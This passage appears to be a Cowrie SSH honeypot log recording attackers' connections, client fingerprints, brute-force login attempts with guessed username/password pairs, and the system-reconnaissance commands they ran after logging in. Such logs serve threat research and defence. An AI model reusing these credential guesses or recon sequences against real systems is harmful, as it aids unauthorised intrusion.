{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:44.277254Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:44.755899Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:44.758583Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:44.977223Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:45.445198Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:45.448126Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:45.671137Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:46.151683Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:46.155141Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:46.382758Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:46.863326Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:46.866573Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:47.093657Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:47.578824Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:47.581526Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:47.811471Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:48.293200Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:48.296356Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:48.519050Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:48.998240Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:49.001584Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:49.227095Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.7","message":"Connection lost after 18.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:49.232521Z","src_ip":"74.91.200.154","session":"11b01cf5aba1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":46526,"dst_ip":"10.17.0.5","dst_port":22,"session":"160d97e17670","protocol":"ssh","message":"New connection: 74.91.224.229:46526 (10.17.0.5:22) [session: 160d97e17670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:58.491134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:58.495703Z","src_ip":"74.91.224.229","session":"160d97e17670","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:58.734564Z","src_ip":"74.91.224.229","session":"160d97e17670","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test6","password":"123","message":"login attempt [test6/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:21:59.721871Z","src_ip":"74.91.224.229","session":"160d97e17670","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45506,"dst_ip":"159.203.135.109","dst_port":22,"session":"50401bce6c52","protocol":"ssh","message":"New connection: 159.203.92.129:45506 (159.203.135.109:22) [session: 50401bce6c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:00.455989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:00.461663Z","src_ip":"159.203.92.129","session":"50401bce6c52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:00.486660Z","src_ip":"159.203.92.129","session":"50401bce6c52","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@123456","message":"login attempt [admin/admin@123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:00.499314Z","src_ip":"159.203.92.129","session":"50401bce6c52","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:00.594766Z","src_ip":"159.203.92.129","session":"50401bce6c52","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:00.598504Z","src_ip":"159.203.92.129","session":"50401bce6c52","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:00.603443Z","src_ip":"159.203.92.129","session":"50401bce6c52","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:00.647321Z","src_ip":"159.203.92.129","session":"50401bce6c52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:00.652637Z","src_ip":"159.203.92.129","session":"50401bce6c52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:00.963531Z","src_ip":"74.91.224.229","session":"160d97e17670","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":10749,"dst_ip":"159.203.135.109","dst_port":22,"session":"238c3ac1c36f","protocol":"ssh","message":"New connection: 213.209.159.159:10749 (159.203.135.109:22) [session: 238c3ac1c36f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:33.566121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:33.570446Z","src_ip":"213.209.159.159","session":"238c3ac1c36f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:33.654090Z","src_ip":"213.209.159.159","session":"238c3ac1c36f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"everardo","password":"everardo","message":"login attempt [everardo/everardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:34.062876Z","src_ip":"213.209.159.159","session":"238c3ac1c36f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"everardo","password":"everardo1","message":"login attempt [everardo/everardo1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:35.150668Z","src_ip":"213.209.159.159","session":"238c3ac1c36f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"everardo","password":"everardo123","message":"login attempt [everardo/everardo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:36.238381Z","src_ip":"213.209.159.159","session":"238c3ac1c36f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"everardo","password":"everardo1234","message":"login attempt [everardo/everardo1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:37.325580Z","src_ip":"213.209.159.159","session":"238c3ac1c36f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.200.154","src_port":57326,"dst_ip":"10.17.0.5","dst_port":22,"session":"2abc66feb1ef","protocol":"ssh","message":"New connection: 74.91.200.154:57326 (10.17.0.5:22) [session: 2abc66feb1ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:37.523220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:38.385478Z","src_ip":"74.91.200.154","session":"2abc66feb1ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:38.389340Z","src_ip":"74.91.200.154","session":"2abc66feb1ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"everardo","password":"everardo12345","message":"login attempt [everardo/everardo12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:38.413346Z","src_ip":"213.209.159.159","session":"238c3ac1c36f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:39.498651Z","src_ip":"213.209.159.159","session":"238c3ac1c36f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkinsuser","password":"jenkinsuser","message":"login attempt [jenkinsuser/jenkinsuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:39.944577Z","src_ip":"74.91.200.154","session":"2abc66feb1ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:41.159205Z","src_ip":"74.91.200.154","session":"2abc66feb1ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34028,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d00749abb20","protocol":"ssh","message":"New connection: 159.203.92.129:34028 (159.203.135.109:22) [session: 3d00749abb20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:44.555083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:22:44.560716Z","src_ip":"159.203.92.129","session":"3d00749abb20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha